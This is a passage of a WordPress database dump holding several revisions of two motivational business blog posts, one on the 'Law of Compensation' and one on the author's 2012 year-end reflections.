(2210, 2, '2012-11-20 13:11:35', '2012-11-20 20:11:35', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\r\n<h2><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h2>\r\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\r\n\r\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\r\n<h1><strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong></h1>\r\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\r\n\r\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\r\n\r\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\r\n\r\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\r\n\r\n<strong>You can only build on what you create.</strong>\r\n\r\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\r\n\r\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\r\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\r\n- John Burroughs</h2>\r\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your strategic planning.', 0, '', 'inherit', 'open', 'open', '', '2204-revision-4', '', '', '2012-11-20 13:11:35', '2012-11-20 20:11:35', '', 2204, 'http://www.whitehotcenter.com/2012/11/2204-revision-4/', 0, 'revision', '', 0),
(2211, 2, '2012-11-20 13:11:43', '2012-11-20 20:11:43', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\r\n<h2><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h2>\r\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\r\n\r\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\r\n<h1><strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong></h1>\r\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\r\n\r\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\r\n\r\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\r\n\r\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\r\n\r\n<strong>You can only build on what you create.</strong>\r\n\r\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\r\n\r\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\r\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\r\n- John Burroughs</h2>\r\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your strategic planning.', 0, '', 'inherit', 'open', 'open', '', '2204-revision-5', '', '', '2012-11-20 13:11:43', '2012-11-20 20:11:43', '', 2204, 'http://www.whitehotcenter.com/2012/11/2204-revision-5/', 0, 'revision', '', 0),
(2212, 2, '2012-11-20 13:18:20', '2012-11-20 20:18:20', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\n<h2><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h2>\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\n\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\n<h1><strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong></h1>\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\n\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\n\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\n\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\n\n<strong>You can only build on what you create.</strong>\n\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\n\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\n- John Burroughs</h2>\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your strategic planning.', 0, '', 'inherit', 'open', 'open', '', '2204-autosave', '', '', '2012-11-20 13:18:20', '2012-11-20 20:18:20', '', 2204, 'http://www.whitehotcenter.com/2012/11/2204-autosave/', 0, 'revision', '', 0),
(2214, 2, '2012-12-24 13:58:38', '2012-12-24 20:58:38', '', '2012 Check', 0, '', 'inherit', 'open', 'open', '', '2012', '', '', '2012-12-24 13:58:38', '2012-12-24 20:58:38', '', 2213, 'http://www.whitehotcenter.com/wp-content/uploads/2012/12/2012.jpg', 0, 'attachment', 'image/jpeg', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(2215, 2, '2012-12-24 14:02:55', '2012-12-24 21:02:55', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for the coming year.</span></h1>\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\n\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\n\nEnough of the set up, here’s my reflections on the year past:\n\n<strong>The things that went well in 2012.</strong>\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\n\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\n\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\n\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\n\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\n\n• helping the founders of a mailing service company reinvent their business as a premier digital printing company in their market.\n\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\n\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\n\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\n\n• helping the Partners of an information technology consulting firm reinvent their business for their next level of growth.\n\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\n\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\n\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\n\n<strong>What didn’t go as planned in 2012.</strong>\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\n\n• I still have not completed my goal of writing my book on “doing what matters”.\n\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\n\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\n\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\n\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\n\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\n\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\n\nThank you for all for reading and lethe comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea and help you create a bigger future. To your inspired success!\n\n&nbsp;\n\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision', '', '', '2012-12-24 14:02:55', '2012-12-24 21:02:55', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision/', 0, 'revision', '', 0),
(2218, 2, '2012-12-24 14:10:03', '2012-12-24 21:10:03', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\n\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\n\nEnough of the set up, here’s my reflections on the year past:\n\n<strong>The things that went well in 2012.</strong>\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\n\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\n\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\n\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\n\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\n\n• helping the Founders and CEO of a mailing service company reinvent their business as a premier digital printing company in their market.\n\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\n\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\n\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\n\n• helping the Partners of an information technology consulting firm reinvent their business for their next level of growth.\n\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\n\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\n\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\n\n<strong>What didn’t go as planned in 2012.</strong>\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\n\n• I still have not completed my goal of writing my book on “doing what matters”.\n\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\n\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\n\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\n\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\n\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\n\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\n\nThank you for all for reading and leaving the comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea and help you create a bigger future. To your inspired success!\n\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-4', '', '', '2012-12-24 14:10:03', '2012-12-24 21:10:03', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-4/', 0, 'revision', '', 0),
(2216, 2, '2012-12-24 14:05:20', '2012-12-24 21:05:20', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\n\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\n\nEnough of the set up, here’s my reflections on the year past:\n\n<strong>The things that went well in 2012.</strong>\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\n\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\n\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\n\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\n\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\n\n• helping the founders of a mailing service company reinvent their business as a premier digital printing company in their market.\n\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\n\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\n\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\n\n• helping the Partners of an information technology consulting firm reinvent their business for their next level of growth.\n\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\n\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\n\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\n\n<strong>What didn’t go as planned in 2012.</strong>\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\n\n• I still have not completed my goal of writing my book on “doing what matters”.\n\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\n\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\n\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\n\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\n\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\n\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\n\nThank you for all for reading and leaving the comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea and help you create a bigger future. To your inspired success!\n\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-2', '', '', '2012-12-24 14:05:20', '2012-12-24 21:05:20', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-2/', 0, 'revision', '', 0),
(2217, 2, '2012-12-24 14:05:55', '2012-12-24 21:05:55', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\r\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\r\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\r\n\r\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\r\n\r\nEnough of the set up, here’s my reflections on the year past:\r\n\r\n<strong>The things that went well in 2012.</strong>\r\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\r\n\r\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\r\n\r\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\r\n\r\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\r\n\r\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\r\n\r\n• helping the founders of a mailing service company reinvent their business as a premier digital printing company in their market.\r\n\r\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\r\n\r\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\r\n\r\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\r\n\r\n• helping the Partners of an information technology consulting firm reinvent their business for their next level of growth.\r\n\r\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\r\n\r\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\r\n\r\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\r\n\r\n<strong>What didn’t go as planned in 2012.</strong>\r\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\r\n\r\n• I still have not completed my goal of writing my book on “doing what matters”.\r\n\r\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\r\n\r\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\r\n\r\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\r\n\r\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\r\n\r\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\r\n\r\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\r\n\r\nThank you for all for reading and leaving the comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea and help you create a bigger future. To your inspired success!\r\n\r\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-3', '', '', '2012-12-24 14:05:55', '2012-12-24 21:05:55', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-3/', 0, 'revision', '', 0),
(2221, 2, '2012-12-24 14:17:00', '2012-12-24 21:17:00', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\n\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\n\nEnough of the set up, here’s my reflections on the year past:\n\n<strong>The things that went well in 2012.</strong>\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\n\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\n\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\n\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\n\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\n\n• helping the Founders and CEO of a mailing service company reinvent their business as a premier digital printing company in their market.\n\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\n\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\n\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\n\n• helping the Founding Partners of an information technology consulting firm reinvent their business for their next level of growth.\n\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\n\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\n\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\n\n<strong>What didn’t go as planned in 2012.</strong>\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\n\n• I still have not completed my goal of writing my book on “doing what matters”.\n\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\n\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\n\n• I have not lived up to my “one-post-a-week” publishing 